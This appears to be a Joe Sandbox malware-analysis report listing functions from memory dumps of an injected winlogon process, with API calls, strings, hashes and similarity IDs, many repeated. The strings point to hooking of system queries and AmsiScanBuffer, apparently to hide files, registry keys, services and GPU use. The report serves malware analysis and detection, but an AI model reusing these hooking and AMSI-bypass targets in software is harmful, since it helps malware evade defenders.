Instruction Fuzzy Hash: 66516C6C514E6AF5FB01EFECEC5D7D42360AB44747F90C91398092A9A5EE7CC25AC382

Function 00000225DC6A1E74 Relevance: 43.8, APIs: 8, Strings: 17, Instructions: 95memorythreadCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 00000225DC6A1E7F

Part of subcall function 00000225DC6A22A8: GetModuleHandleA.KERNEL32(?,?,?,00000225DC6A1EB1), ref: 00000225DC6A22C0
Part of subcall function 00000225DC6A22A8: GetProcAddress.KERNEL32(?,?,?,00000225DC6A1EB1), ref: 00000225DC6A22D1

CreateThread.KERNEL32 ref: 00000225DC6A2043
TlsAlloc.KERNEL32 ref: 00000225DC6A2049
TlsAlloc.KERNEL32 ref: 00000225DC6A2055
TlsAlloc.KERNEL32 ref: 00000225DC6A2061
TlsAlloc.KERNEL32 ref: 00000225DC6A206D
TlsAlloc.KERNEL32 ref: 00000225DC6A2079
TlsAlloc.KERNEL32 ref: 00000225DC6A2085

Strings

NtQuerySystemInformation, xrefs: 00000225DC6A1EA5
NtEnumerateKey, xrefs: 00000225DC6A1F19
NtQueryDirectoryFileEx, xrefs: 00000225DC6A1EFC
AmsiScanBuffer, xrefs: 00000225DC6A2012
NtQueryDirectoryFile, xrefs: 00000225DC6A1EDF
amsi.dll, xrefs: 00000225DC6A2019
EnumServiceGroupW, xrefs: 00000225DC6A1F50
NtResumeThread, xrefs: 00000225DC6A1EC2
PdhGetFormattedCounterArrayW, xrefs: 00000225DC6A1FF1
ntdll.dll, xrefs: 00000225DC6A1E8D
EnumServicesStatusExW, xrefs: 00000225DC6A1F71, 00000225DC6A1F92
PdhGetRawCounterArrayW, xrefs: 00000225DC6A1FD0
sechost.dll, xrefs: 00000225DC6A1F99
NtEnumerateValueKey, xrefs: 00000225DC6A1F36
pdh.dll, xrefs: 00000225DC6A1FD7, 00000225DC6A1FF8
advapi32.dll, xrefs: 00000225DC6A1F57, 00000225DC6A1F78
NtDeviceIoControlFile, xrefs: 00000225DC6A1FB6

Memory Dump Source

Source File: 00000009.00000002.2302151534.00000225DC6A1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true

Associated: 00000009.00000002.2301041891.00000225DC6A0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2303365598.00000225DC6B5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2304535009.00000225DC6C0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2305591866.00000225DC6C2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2306755785.00000225DC6C9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc6a0000_winlogon.jbxd

Similarity

API ID: Alloc$Thread$AddressCreateCurrentHandleModuleProc
String ID: AmsiScanBuffer$EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$PdhGetFormattedCounterArrayW$PdhGetRawCounterArrayW$advapi32.dll$amsi.dll$ntdll.dll$pdh.dll$sechost.dll
API String ID: 1735320900-4225371247
Opcode ID: 03b1670190296a985cca1de1054792f3360a7fe3fa664d1b18e69e842768ce50
Instruction ID: ab248220f55d8a8bf603ad1d8e7c18a74e840ae1d8f43e8d78061fc47a12bc73
Opcode Fuzzy Hash: 03b1670190296a985cca1de1054792f3360a7fe3fa664d1b18e69e842768ce50
Instruction Fuzzy Hash: 94519AAC194E6AB5EB01EFECED5C7D42762BB50747F90C523A40992661EF3CC25AC390

Function 00000225DC6412B8 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120memoryregistrystringCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 00000225DC641315
GetProcessHeap.KERNEL32 ref: 00000225DC641323
HeapAlloc.KERNEL32 ref: 00000225DC641334
RegEnumValueW.ADVAPI32 ref: 00000225DC641393

Part of subcall function 00000225DC641530: StrCmpIW.SHLWAPI ref: 00000225DC641561

GetProcessHeap.KERNEL32 ref: 00000225DC6413DB
HeapAlloc.KERNEL32 ref: 00000225DC6413E9
GetProcessHeap.KERNEL32 ref: 00000225DC641406
HeapFree.KERNEL32 ref: 00000225DC641414
lstrlenW.KERNEL32 ref: 00000225DC64141D
GetProcessHeap.KERNEL32 ref: 00000225DC64142B
HeapAlloc.KERNEL32 ref: 00000225DC641439
StrCpyW.SHLWAPI ref: 00000225DC64145B
GetProcessHeap.KERNEL32 ref: 00000225DC641472
HeapFree.KERNEL32 ref: 00000225DC641480

Strings

d, xrefs: 00000225DC641356

Memory Dump Source

Source File: 00000009.00000002.2288484714.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 00000009.00000002.2287473946.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2289644934.00000225DC655000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2290739430.00000225DC660000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2291868866.00000225DC662000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2292943849.00000225DC669000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc640000_winlogon.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: 09f32700ea8f2ab6ca5eb204845fa7f8e408035f576c0366055c572951769e92
Instruction ID: e4fbe600ac6e3f6c3fd389522d33e79d55d6745fab416e8290641ec0d2ad3330
Opcode Fuzzy Hash: 09f32700ea8f2ab6ca5eb204845fa7f8e408035f576c0366055c572951769e92
Instruction Fuzzy Hash: 16516F36214F94AAE764CFA6E84C35AB7A1F788F9AF548124DE4A07758EF3CC049C700

Function 00000225DC6712B8 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120memoryregistrystringCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 00000225DC671315
GetProcessHeap.KERNEL32 ref: 00000225DC671323
HeapAlloc.KERNEL32 ref: 00000225DC671334
RegEnumValueW.ADVAPI32 ref: 00000225DC671393

Part of subcall function 00000225DC671530: StrCmpIW.SHLWAPI ref: 00000225DC671561

GetProcessHeap.KERNEL32 ref: 00000225DC6713DB
HeapAlloc.KERNEL32 ref: 00000225DC6713E9
GetProcessHeap.KERNEL32 ref: 00000225DC671406
HeapFree.KERNEL32 ref: 00000225DC671414
lstrlenW.KERNEL32 ref: 00000225DC67141D
GetProcessHeap.KERNEL32 ref: 00000225DC67142B
HeapAlloc.KERNEL32 ref: 00000225DC671439
StrCpyW.SHLWAPI ref: 00000225DC67145B
GetProcessHeap.KERNEL32 ref: 00000225DC671472
HeapFree.KERNEL32 ref: 00000225DC671480

Strings

d, xrefs: 00000225DC671356

Memory Dump Source

Source File: 00000009.00000002.2295170211.00000225DC671000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true

Associated: 00000009.00000002.2294050318.00000225DC670000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2296553686.00000225DC685000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2297617513.00000225DC690000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2298802898.00000225DC692000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2299955606.00000225DC699000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc670000_winlogon.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: 09f32700ea8f2ab6ca5eb204845fa7f8e408035f576c0366055c572951769e92
Instruction ID: 37fd39670bbdcc54ea09762e972c4b0ccfec49a203bbfccbc513fbeee86dfb37
Opcode Fuzzy Hash: 09f32700ea8f2ab6ca5eb204845fa7f8e408035f576c0366055c572951769e92
Instruction Fuzzy Hash: EF516236210F94A6E724CFA6E44835A77A1FB88F99F448525DE8A07B98EF3CC055C701

Function 00000225DC6A12B8 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120memoryregistrystringCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 00000225DC6A1315
GetProcessHeap.KERNEL32 ref: 00000225DC6A1323
HeapAlloc.KERNEL32 ref: 00000225DC6A1334
RegEnumValueW.ADVAPI32 ref: 00000225DC6A1393

Part of subcall function 00000225DC6A1530: StrCmpIW.SHLWAPI ref: 00000225DC6A1561

GetProcessHeap.KERNEL32 ref: 00000225DC6A13DB
HeapAlloc.KERNEL32 ref: 00000225DC6A13E9
GetProcessHeap.KERNEL32 ref: 00000225DC6A1406
HeapFree.KERNEL32 ref: 00000225DC6A1414
lstrlenW.KERNEL32 ref: 00000225DC6A141D
GetProcessHeap.KERNEL32 ref: 00000225DC6A142B
HeapAlloc.KERNEL32 ref: 00000225DC6A1439
StrCpyW.SHLWAPI ref: 00000225DC6A145B
GetProcessHeap.KERNEL32 ref: 00000225DC6A1472
HeapFree.KERNEL32 ref: 00000225DC6A1480

Strings

d, xrefs: 00000225DC6A1356

Memory Dump Source

Source File: 00000009.00000002.2302151534.00000225DC6A1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true

Associated: 00000009.00000002.2301041891.00000225DC6A0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2303365598.00000225DC6B5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2304535009.00000225DC6C0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2305591866.00000225DC6C2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2306755785.00000225DC6C9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc6a0000_winlogon.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: 09f32700ea8f2ab6ca5eb204845fa7f8e408035f576c0366055c572951769e92
Instruction ID: e6ef2d74a113b6a2436a0bf4e662f067906ac5c54f8ed1bf6393795d3f8873bc
Opcode Fuzzy Hash: 09f32700ea8f2ab6ca5eb204845fa7f8e408035f576c0366055c572951769e92
Instruction Fuzzy Hash: 7F516236214F94EAE764CFAAE44839A77A2F798F9AF548124DE4A47758EF3CC045C700

Function 00000225DC67EF88 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 140librarymemoryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,00000100,00000000,00000225DC67F34A,?,?,00000000,00000225DC67F2CD), ref: 00000225DC67EFF5
GetLastError.KERNEL32(?,?,00000000,00000225DC67F2CD), ref: 00000225DC67F007
LoadLibraryExW.KERNEL32(?,?,00000000,00000225DC67F2CD), ref: 00000225DC67F049
VirtualProtect.KERNEL32 ref: 00000225DC67F0A5
VirtualProtect.KERNEL32 ref: 00000225DC67F0D6
FreeLibrary.KERNEL32(?,?,00000000,00000225DC67F2CD), ref: 00000225DC67F11A
GetProcAddress.KERNEL32(?,?,00000000,00000225DC67F2CD), ref: 00000225DC67F126

Strings

ext-ms-, xrefs: 00000225DC67F02E
AppPolicyGetProcessTerminationMethod, xrefs: 00000225DC67F157, 00000225DC67F165
api-ms-, xrefs: 00000225DC67F01B

Memory Dump Source

Source File: 00000009.00000002.2295170211.00000225DC671000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true

Associated: 00000009.00000002.2294050318.00000225DC670000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2296553686.00000225DC685000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2297617513.00000225DC690000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2298802898.00000225DC692000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2299955606.00000225DC699000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc670000_winlogon.jbxd

Similarity

API ID: Library$LoadProtectVirtual$AddressErrorFreeLastProc
String ID: AppPolicyGetProcessTerminationMethod$api-ms-$ext-ms-
API String ID: 740688525-1880043860
Opcode ID: 76271e0e5533c610f4bce9abf661b1e9c3d7f925dc4d85dc9c81cd2c8526c81c
Instruction ID: 3bbe528764dd29461f2b489f7bb424fdd3c8e1eb83be9ed074256bc9518d600c
Opcode Fuzzy Hash: 76271e0e5533c610f4bce9abf661b1e9c3d7f925dc4d85dc9c81cd2c8526c81c
Instruction Fuzzy Hash: AF519139701F2471FE149BAAA8187A52290BB48BB2F588B25AE3947BD0EF38D445C751

Function 00000225DC6AEF88 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 140librarymemoryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,00000100,00000000,00000225DC6AF34A,?,?,00000000,00000225DC6AF2CD), ref: 00000225DC6AEFF5
GetLastError.KERNEL32(?,?,00000000,00000225DC6AF2CD), ref: 00000225DC6AF007
LoadLibraryExW.KERNEL32(?,?,00000000,00000225DC6AF2CD), ref: 00000225DC6AF049
VirtualProtect.KERNEL32 ref: 00000225DC6AF0A5
VirtualProtect.KERNEL32 ref: 00000225DC6AF0D6
FreeLibrary.KERNEL32(?,?,00000000,00000225DC6AF2CD), ref: 00000225DC6AF11A
GetProcAddress.KERNEL32(?,?,00000000,00000225DC6AF2CD), ref: 00000225DC6AF126

Strings

AppPolicyGetProcessTerminationMethod, xrefs: 00000225DC6AF157, 00000225DC6AF165
ext-ms-, xrefs: 00000225DC6AF02E
api-ms-, xrefs: 00000225DC6AF01B

Memory Dump Source

Source File: 00000009.00000002.2302151534.00000225DC6A1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true

Associated: 00000009.00000002.2301041891.00000225DC6A0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2303365598.00000225DC6B5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2304535009.00000225DC6C0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2305591866.00000225DC6C2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2306755785.00000225DC6C9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc6a0000_winlogon.jbxd

Similarity

API ID: Library$LoadProtectVirtual$AddressErrorFreeLastProc
String ID: AppPolicyGetProcessTerminationMethod$api-ms-$ext-ms-
API String ID: 740688525-1880043860
Opcode ID: 76271e0e5533c610f4bce9abf661b1e9c3d7f925dc4d85dc9c81cd2c8526c81c
Instruction ID: 0e80d652f4081b1e4fca29c38c4c1cd2ef8707dab7f660b0183de6f6bb59e2ad
Opcode Fuzzy Hash: 76271e0e5533c610f4bce9abf661b1e9c3d7f925dc4d85dc9c81cd2c8526c81c
Instruction Fuzzy Hash: 5751C439700F2471EE15DBAEA8183A52391BB58BB2F688725AE3D873C0EF38D445C641

Function 00000225DC6433A8 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PdhGetCounterInfoW.PDH ref: 00000225DC6433FD
GetProcessHeap.KERNEL32 ref: 00000225DC643412
HeapAlloc.KERNEL32 ref: 00000225DC643420
PdhGetCounterInfoW.PDH ref: 00000225DC643436
StrCmpW.SHLWAPI ref: 00000225DC64344B

Part of subcall function 00000225DC643950: StrCmpNW.SHLWAPI ref: 00000225DC643972
Part of subcall function 00000225DC643950: StrStrW.SHLWAPI ref: 00000225DC643990
Part of subcall function 00000225DC643950: StrToIntW.SHLWAPI ref: 00000225DC6439B7

GetProcessHeap.KERNEL32 ref: 00000225DC643488
HeapFree.KERNEL32 ref: 00000225DC643496

Strings

\GPU Engine(*)\Running Time, xrefs: 00000225DC643444

Memory Dump Source

Source File: 00000009.00000002.2288484714.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 00000009.00000002.2287473946.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2289644934.00000225DC655000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2290739430.00000225DC660000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2291868866.00000225DC662000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2292943849.00000225DC669000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc640000_winlogon.jbxd

Similarity

API ID: Heap$CounterInfoProcess$AllocFree
String ID: \GPU Engine(*)\Running Time
API String ID: 1943346504-1805530042
Opcode ID: 3c893031c2ac124323773ad806ea6b122c6292a63b4d30b410812c40362314f8
Instruction ID: 3a645e500603d2e49c7852b303aca20d04d2f933c99b688e966e8a5f8d7bf780
Opcode Fuzzy Hash: 3c893031c2ac124323773ad806ea6b122c6292a63b4d30b410812c40362314f8
Instruction Fuzzy Hash: E731D92A618E64B7E721CFA6A80C799B3A0FB88FD6F548525DE4943624EF38C455C340

Function 00000225DC6733A8 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PdhGetCounterInfoW.PDH ref: 00000225DC6733FD
GetProcessHeap.KERNEL32 ref: 00000225DC673412
HeapAlloc.KERNEL32 ref: 00000225DC673420
PdhGetCounterInfoW.PDH ref: 00000225DC673436
StrCmpW.SHLWAPI ref: 00000225DC67344B

Part of subcall function 00000225DC673950: StrCmpNW.SHLWAPI ref: 00000225DC673972
Part of subcall function 00000225DC673950: StrStrW.SHLWAPI ref: 00000225DC673990
Part of subcall function 00000225DC673950: StrToIntW.SHLWAPI ref: 00000225DC6739B7

GetProcessHeap.KERNEL32 ref: 00000225DC673488
HeapFree.KERNEL32 ref: 00000225DC673496

Strings

\GPU Engine(*)\Running Time, xrefs: 00000225DC673444

Memory Dump Source

Source File: 00000009.00000002.2295170211.00000225DC671000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true

Associated: 00000009.00000002.2294050318.00000225DC670000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2296553686.00000225DC685000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2297617513.00000225DC690000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2298802898.00000225DC692000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2299955606.00000225DC699000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc670000_winlogon.jbxd

Similarity

API ID: Heap$CounterInfoProcess$AllocFree
String ID: \GPU Engine(*)\Running Time
API String ID: 1943346504-1805530042
Opcode ID: 3c893031c2ac124323773ad806ea6b122c6292a63b4d30b410812c40362314f8
Instruction ID: 3504f38e38e3fa029f540fcbe78c44e127b7d15fadd191a2f84b1cdbf063186f
Opcode Fuzzy Hash: 3c893031c2ac124323773ad806ea6b122c6292a63b4d30b410812c40362314f8
Instruction Fuzzy Hash: 7631D726600F60B7F725DF9AA80C759A3A0FF88FD6F548525DE8943AA8EF38C455C740

Function 00000225DC6A33A8 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PdhGetCounterInfoW.PDH ref: 00000225DC6A33FD
GetProcessHeap.KERNEL32 ref: 00000225DC6A3412
HeapAlloc.KERNEL32 ref: 00000225DC6A3420
PdhGetCounterInfoW.PDH ref: 00000225DC6A3436
StrCmpW.SHLWAPI ref: 00000225DC6A344B

Part of subcall function 00000225DC6A3950: StrCmpNW.SHLWAPI ref: 00000225DC6A3972
Part of subcall function 00000225DC6A3950: StrStrW.SHLWAPI ref: 00000225DC6A3990
Part of subcall function 00000225DC6A3950: StrToIntW.SHLWAPI ref: 00000225DC6A39B7

GetProcessHeap.KERNEL32 ref: 00000225DC6A3488
HeapFree.KERNEL32 ref: 00000225DC6A3496

Strings

\GPU Engine(*)\Running Time, xrefs: 00000225DC6A3444

Memory Dump Source

Source File: 00000009.00000002.2302151534.00000225DC6A1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true

Associated: 00000009.00000002.2301041891.00000225DC6A0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2303365598.00000225DC6B5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2304535009.00000225DC6C0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2305591866.00000225DC6C2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2306755785.00000225DC6C9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc6a0000_winlogon.jbxd

Similarity

API ID: Heap$CounterInfoProcess$AllocFree
String ID: \GPU Engine(*)\Running Time
API String ID: 1943346504-1805530042
Opcode ID: 3c893031c2ac124323773ad806ea6b122c6292a63b4d30b410812c40362314f8
Instruction ID: 8ede8dfb4b41c7f54769feaf922c09e47b5f9363491bd1bbccb34bf8f014b086
Opcode Fuzzy Hash: 3c893031c2ac124323773ad806ea6b122c6292a63b4d30b410812c40362314f8
Instruction Fuzzy Hash: 8E31D926604E60BAE721CF96A80C799A3A1FB98FD7F548525DE4D83724EF38C555C340

Function 00000225DC6434B8 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 73memoryCOMMON

Download Yara Rule

APIs

PdhGetCounterInfoW.PDH ref: 00000225DC643516
GetProcessHeap.KERNEL32 ref: 00000225DC643527
HeapAlloc.KERNEL32 ref: 00000225DC643535
PdhGetCounterInfoW.PDH ref: 00000225DC64354B
StrCmpW.SHLWAPI ref: 00000225DC643560

Part of subcall function 00000225DC643950: StrCmpNW.SHLWAPI ref: 00000225DC643972
Part of subcall function 00000225DC643950: StrStrW.SHLWAPI ref: 00000225DC643990
Part of subcall function 00000225DC643950: StrToIntW.SHLWAPI ref: 00000225DC6439B7

GetProcessHeap.KERNEL32 ref: 00000225DC64358D
HeapFree.KERNEL32 ref: 00000225DC64359B

Strings

\GPU Engine(*)\Utilization Percentage, xrefs: 00000225DC643559

Memory Dump Source

Source File: 00000009.00000002.2288484714.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 00000009.00000002.2287473946.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2289644934.00000225DC655000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2290739430.00000225DC660000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2291868866.00000225DC662000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2292943849.00000225DC669000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc640000_winlogon.jbxd

Similarity

API ID: Heap$CounterInfoProcess$AllocFree
String ID: \GPU Engine(*)\Utilization Percentage
API String ID: 1943346504-3507739905
Opcode ID: 4dfb6054f5336d4a701c3ca7a3d18610e9584f8b2694925bec2ac2df63a9e25f
Instruction ID: b10aa90a55d6ea0055f526c5676bc37cc43534038bcf9b837f612d60fdfb5a2b
Opcode Fuzzy Hash: 4dfb6054f5336d4a701c3ca7a3d18610e9584f8b2694925bec2ac2df63a9e25f
Instruction Fuzzy Hash: A931A539628F69A6E714EFAAA84C76973A0F784F96F548035DE4B43724EF38C451C700

Function 00000225DC6734B8 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 73memoryCOMMON

Download Yara Rule

APIs

PdhGetCounterInfoW.PDH ref: 00000225DC673516
GetProcessHeap.KERNEL32 ref: 00000225DC673527
HeapAlloc.KERNEL32 ref: 00000225DC673535
PdhGetCounterInfoW.PDH ref: 00000225DC67354B
StrCmpW.SHLWAPI ref: 00000225DC673560

Part of subcall function 00000225DC673950: StrCmpNW.SHLWAPI ref: 00000225DC673972
Part of subcall function 00000225DC673950: StrStrW.SHLWAPI ref: 00000225DC673990
Part of subcall function 00000225DC673950: StrToIntW.SHLWAPI ref: 00000225DC6739B7

GetProcessHeap.KERNEL32 ref: 00000225DC67358D
HeapFree.KERNEL32 ref: 00000225DC67359B

Strings

\GPU Engine(*)\Utilization Percentage, xrefs: 00000225DC673559

Memory Dump Source

Source File: 00000009.00000002.2295170211.00000225DC671000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true

Associated: 00000009.00000002.2294050318.00000225DC670000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2296553686.00000225DC685000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2297617513.00000225DC690000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2298802898.00000225DC692000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2299955606.00000225DC699000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc670000_winlogon.jbxd

Similarity

API ID: Heap$CounterInfoProcess$AllocFree
String ID: \GPU Engine(*)\Utilization Percentage
API String ID: 1943346504-3507739905
Opcode ID: 4dfb6054f5336d4a701c3ca7a3d18610e9584f8b2694925bec2ac2df63a9e25f
Instruction ID: f704ab49293cf0e1ed31e914e4fc4bc4390b61966030aa4b8452262fc6a64487
Opcode Fuzzy Hash: 4dfb6054f5336d4a701c3ca7a3d18610e9584f8b2694925bec2ac2df63a9e25f
Instruction Fuzzy Hash: C731A539610F65A6F710DFAAA84876973A0FB84F96F548435DE4A43BA4EF38C441C701

Function 00000225DC6A34B8 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 73memoryCOMMON

Download Yara Rule

APIs

PdhGetCounterInfoW.PDH ref: 00000225DC6A3516
GetProcessHeap.KERNEL32 ref: 00000225DC6A3527
HeapAlloc.KERNEL32 ref: 00000225DC6A3535
PdhGetCounterInfoW.PDH ref: 00000225DC6A354B
StrCmpW.SHLWAPI ref: 00000225DC6A3560

Part of subcall function 00000225DC6A3950: StrCmpNW.SHLWAPI ref: 00000225DC6A3972
Part of subcall function 00000225DC6A3950: StrStrW.SHLWAPI ref: 00000225DC6A3990
Part of subcall function 00000225DC6A3950: StrToIntW.SHLWAPI ref: 00000225DC6A39B7

GetProcessHeap.KERNEL32 ref: 00000225DC6A358D
HeapFree.KERNEL32 ref: 00000225DC6A359B

Strings

\GPU Engine(*)\Utilization Percentage, xrefs: 00000225DC6A3559

Memory Dump Source

Source File: 00000009.00000002.2302151534.00000225DC6A1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true

Associated: 00000009.00000002.2301041891.00000225DC6A0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2303365598.00000225DC6B5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2304535009.00000225DC6C0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2305591866.00000225DC6C2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2306755785.00000225DC6C9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc6a0000_winlogon.jbxd

Similarity

API ID: Heap$CounterInfoProcess$AllocFree
String ID: \GPU Engine(*)\Utilization Percentage
API String ID: 1943346504-3507739905
Opcode ID: 4dfb6054f5336d4a701c3ca7a3d18610e9584f8b2694925bec2ac2df63a9e25f
Instruction ID: 9f3a192e19782f68c0455e06215ffa57fe3f949edc512479bfcf280111965ae0
Opcode Fuzzy Hash: 4dfb6054f5336d4a701c3ca7a3d18610e9584f8b2694925bec2ac2df63a9e25f
Instruction Fuzzy Hash: C7319339A10F65A6E750DFAAA84C76963E1F794F96F548025DE4A83724EF38C445C700

Function 00000225DC64A22C Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 310COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00000225DC64A289

Part of subcall function 00000225DC64B144: __GetUnwindTryBlock.LIBCMT ref: 00000225DC64B187
Part of subcall function 00000225DC64B144: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00000225DC64B1AC

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00000225DC64A361
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00000225DC64A5AF
std::bad_alloc::bad_alloc.LIBCMT ref: 00000225DC64A6BC

Strings

csm, xrefs: 00000225DC64A384
csm, xrefs: 00000225DC64A30A
csm, xrefs: 00000225DC64A2A3

Memory Dump Source

Source File: 00000009.00000002.2288484714.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

